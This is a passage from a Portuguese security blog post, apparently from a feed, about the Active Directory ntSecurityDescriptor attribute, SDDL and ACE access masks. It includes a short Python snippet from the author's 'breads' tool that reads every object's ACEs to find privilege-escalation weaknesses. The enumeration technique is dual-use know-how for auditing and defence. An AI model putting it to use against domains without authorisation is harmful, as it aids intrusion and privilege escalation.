&lt;p&gt;De acordo com a Microsoft, o ntSecurityDescriptor utiliza de um sistema chamado &lt;em&gt;Security Descriptor String Format&lt;&#x2F;em&gt;. O &lt;em&gt;Security Descriptor String Format&lt;&#x2F;em&gt; é um formato ou sistema de texto responsável por armazenar ou transportar a informação do ntSecurityDescriptor. Isso é feito por duas funções chamadas &lt;strong&gt;ConvertSecurityDescriptorToStringSecurityDescriptorA&lt;&#x2F;strong&gt; e &lt;strong&gt;ConvertStringSecurityDescriptorToSecurityDescriptorA&lt;&#x2F;strong&gt;. Essas duas funções são utilizadas para o trabalho de conversão dos Security Descriptor.&lt;&#x2F;p&gt;
&lt;p&gt;É possível transformar um &lt;em&gt;&quot;String Security Descriptor&quot;&lt;&#x2F;em&gt; para um &lt;em&gt;Security Descriptor Absoluto&lt;&#x2F;em&gt; através de outra função que é chamada de &lt;strong&gt;MakeAbsoluteSD&lt;&#x2F;strong&gt;. Essas três funções iram retornar valores não nulos, caso todos os argumentos necessários forem repassados e serem válidos. Com o seu retorno, é possível extrair o formato do Security Descriptor.&lt;&#x2F;p&gt;
&lt;p&gt;Para que as funções citadas acima possam descrever o formato do Security Descriptor, é utilizado a tecnologia SDDL (Security Descriptor Definition Language) que irá fazer essa tradução e permitir que as funções possam representar elas em texto. Aqui estão alguns exemplos de SDDL retirados do artigo da Microsoft:&lt;&#x2F;p&gt;
&lt;h3 id=&quot;exemplos&quot;&gt;Exemplos&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;Regra&lt;&#x2F;strong&gt;: Qualquer usuário poderá executar esse objeto se ele seguir as seguintes condições:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;O título dele ser PM&lt;&#x2F;li&gt;
&lt;li&gt;A divisão ou setor dele for Financeiro ou Vendas&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;d:(XA; ;FX;;;S-1-1-0; (@User.Title==&amp;quot;PM&amp;quot; &amp;amp;&amp;amp; (@User.Division==&amp;quot;Financeiro&amp;quot; || @User.Division ==&amp;quot;Vendas&amp;quot;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;Regra 2&lt;&#x2F;strong&gt;: Permite leitura do objeto se o usuário seguir as seguintes condições:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Seu login ter sido feito a partir de um Smart Card&lt;&#x2F;li&gt;
&lt;li&gt;É pertencente do grupo Backup Operator&lt;&#x2F;li&gt;
&lt;li&gt;Está conectado em uma máquina com o BitLocker ativo&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;D:(XA; ;FR;;;S-1-1-0; (Member_of {SID(Smartcard_SID), SID(BO)} &amp;amp;&amp;amp;@Device.Bitlocker))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h2 id=&quot;qual-a-sua-importancia&quot;&gt;Qual a sua importância?&lt;&#x2F;h2&gt;
&lt;p&gt;Através do Security Descriptor, pode-se compreender qual o escopo de privilégios que aquele ativo terá sobre um item de seu interesse ou que haverá uma possível interação. Com isso em mente, a Microsoft desenvolveu esse atributo expressivo para que fosse alocado sobre os objetos do ambiente Active Directory e pudesse trabalhar as questões de controle de acesso. Atualmente, ele é utilizado por outras classes do ambiente Active Directory como:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;samDomainBase&lt;&#x2F;strong&gt;: A classe base para a definição de domínios;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;securityPrincipal&lt;&#x2F;strong&gt;: Armazena informações de segura sobre um objeto;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;top&lt;&#x2F;strong&gt;: A classe de mais alto nível que é de onde todas as classes derivam;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Hoje em dia, ferramentas como o &lt;strong&gt;BloodHound&lt;&#x2F;strong&gt; usufruem de ACEs e DACLs para identificar as permissões que um objeto tem sobre o outro, e assim, poder construir caminhos de exploração por meio de fragilidades do objeto X sobre o objeto Y.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;trabalhando-com-o-ntsecuritydescriptor&quot;&gt;Trabalhando com o ntSecurityDescriptor&lt;&#x2F;h2&gt;
&lt;p&gt;O ntSecurityDescriptor segue o seguinte formato &lt;code&gt;O:BAG:BAD:S:&lt;&#x2F;code&gt;, onde:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;O&lt;&#x2F;strong&gt;: Owner&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;BAG&lt;&#x2F;strong&gt; e &lt;strong&gt;BAD&lt;&#x2F;strong&gt; serão utilizados para representar quem tem permissão de interação e quem não tem sobre aquele objeto. G é Granted e D é Deny.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;S&lt;&#x2F;strong&gt; representará o SACL.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;O atributo Owner irá indicar o proprietário por meio do SID do objeto, o BAG e o BAD são especificadores de controle de acesso e o SACL para poder armazenar as tentativas de interação com o objeto alvo. De uma maneira simples, se expandíssemos um Security Descriptor, esse seria o formato dele:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;security-descriptor&#x2F;image3.jpg&quot; alt=&quot;Estrutura expandida de um Security Descriptor&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Como podemos ver, o Owner e PrimaryGroup são as representações do proprietário daquele Security Descriptor. Com isso, podemos partir para a leitura da DACL que trará informações sobre a ACE do objeto protegido. Em um contexto de segurança ofensiva, o que diretamente nos importa seria o Access Mask dessa ACE.&lt;&#x2F;p&gt;
&lt;p&gt;Com isso em mente, podemos capturar o Security Descriptor de objetos (usuários, grupos, etc) e lermos suas permissões e identificar possíveis fragilidades que atacantes podem utilizar para escalonar privilégios dentro de um ambiente Active Directory. Para isso, incrementei um módulo na minha ferramenta &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;oppsec&#x2F;breads&quot;&gt;breads&lt;&#x2F;a&gt; que irá buscar pelo valor do ntSecurityDescriptor de todos os objetos do ambiente através da query &lt;code&gt;objectClass=(*)&lt;&#x2F;code&gt; e checar as permissões se baseando no valor de ACE_MASK. Esses valores são hexadecimais que quando calculados, podem ser lidos como bits representantes de permissão. Essa é a tabela de permissões:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;security-descriptor&#x2F;image4.jpg&quot; alt=&quot;Tabela de permissões ACE_MASK&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Esse é o pedaço do código da minha ferramenta que irá realizar essa busca. O &lt;code&gt;object_ntsd&lt;&#x2F;code&gt; representa o acesso ao atributo ntSecurityDescriptor daquele objeto; já a variável &lt;code&gt;sd&lt;&#x2F;code&gt; está utilizando de uma classe do projeto &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fortra&#x2F;impacket&quot;&gt;Impacket&lt;&#x2F;a&gt; para realizar a leitura dos bytes do Security Descriptor. Por fim, percorremos pelas chaves retornada da variável &lt;code&gt;sd&lt;&#x2F;code&gt; e acessamos seus valores respectivamente.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #F8F8F2; background-color: #272822;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #88846F;&quot;&gt;# ...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;object_ntsd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; attribute[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;attributes&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;nTSecurityDescriptor&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;sd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; SR_SECURITY_DESCRIPTOR(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FD971F;font-style: italic;&quot;&gt;data&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt;object_ntsd)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;if&lt;&#x2F;span&gt;&lt;span&gt; sd[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Dacl&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #F92672;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; ace&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span&gt; sd[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Dacl&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;].aces:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        ace_object&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ace[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Ace&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color: #88846F;&quot;&gt;  # Ace_Object Vars: Mask, Sid&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        ace_mask&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F92672;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; ace_object[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Mask&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;][&lt;&#x2F;span&gt;&lt;span style=&quot;color: #E6DB74;&quot;&gt;&amp;quot;Mask&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Após um tratamento sobre os hexadecimais retornados e quais são suas representações com base na documentação da Microsoft, podemos esperar um resultado como esse abaixo. Ressalto que foi utilizado uma conta participante do grupo de Domain Admins.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;assets&#x2F;security-descriptor&#x2F;image5.jpg&quot; alt=&quot;Resultado da ferramenta breads listando permissões&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;conclusao&quot;&gt;Conclusão&lt;&#x2F;h2&gt;
&lt;p&gt;Assim, podemos compreender a relevância do ntSecurityDescriptor no Active Directory e como podemos utilizar dele para encontrar meios para realizar uma escalação de privilégios por meio de objetos presentes no ambiente. Como citado anteriormente, a ferramenta BloodHound faz um ótimo trabalhando usufruindo desse atributo para construir caminhos e gráficos com base nas informações coletadas do ambiente. Entende-se que tudo isso é principalmente útil para atacantes, todavia, esse tipo de processo também é de grande utilidade também para os times de operações defensivas, visto que poderão encontrar fragilidades na arquitetura monitorada.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;referencias&quot;&gt;Referências&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;fortra&#x2F;impacket&#x2F;blob&#x2F;f8899e65f16c50b871863528d419cfb701a5a3e3&#x2F;impacket&#x2F;ldap&#x2F;ldaptypes.py&quot;&gt;github.com&#x2F;fortra&#x2F;impacket — ldaptypes.py&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;adschema&#x2F;&quot;&gt;learn.microsoft.com — AD Schema&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.installsetupconfig.com&#x2F;win32programming&#x2F;accesscontrollistacl2_1.html&quot;&gt;installsetupconfig.com — Access Control List ACL&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;access-control-lists&quot;&gt;learn.microsoft.com — Access Control Lists&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secauthz&#x2F;security-descriptor-string-format&quot;&gt;learn.microsoft.com — Security Descriptor String Format&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secgloss&#x2F;a-gly&quot;&gt;learn.microsoft.com — Security Glossary A&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;secgloss&#x2F;d-gly&quot;&gt;learn.microsoft.com — Security Glossary D&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;openspecs&#x2F;windows_protocols&#x2F;ms-dtyp&#x2F;4f4251cc-23b6-44b6-93ba-69688422cb06&quot;&gt;learn.microsoft.com — MS-DTYP: SECURITY_DESCRIPTOR&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;openspecs&#x2F;windows_protocols&#x2F;ms-dtyp&#x2F;7d4dac05-9cef-4563-a058-f108abecce1d&quot;&gt;learn.microsoft.com — MS-DTYP: ACE&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;api&#x2F;iads&#x2F;ne-iads-ads_rights_enum&quot;&gt;learn.microsoft.com — ADS_RIGHTS_ENUM&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
</feed>
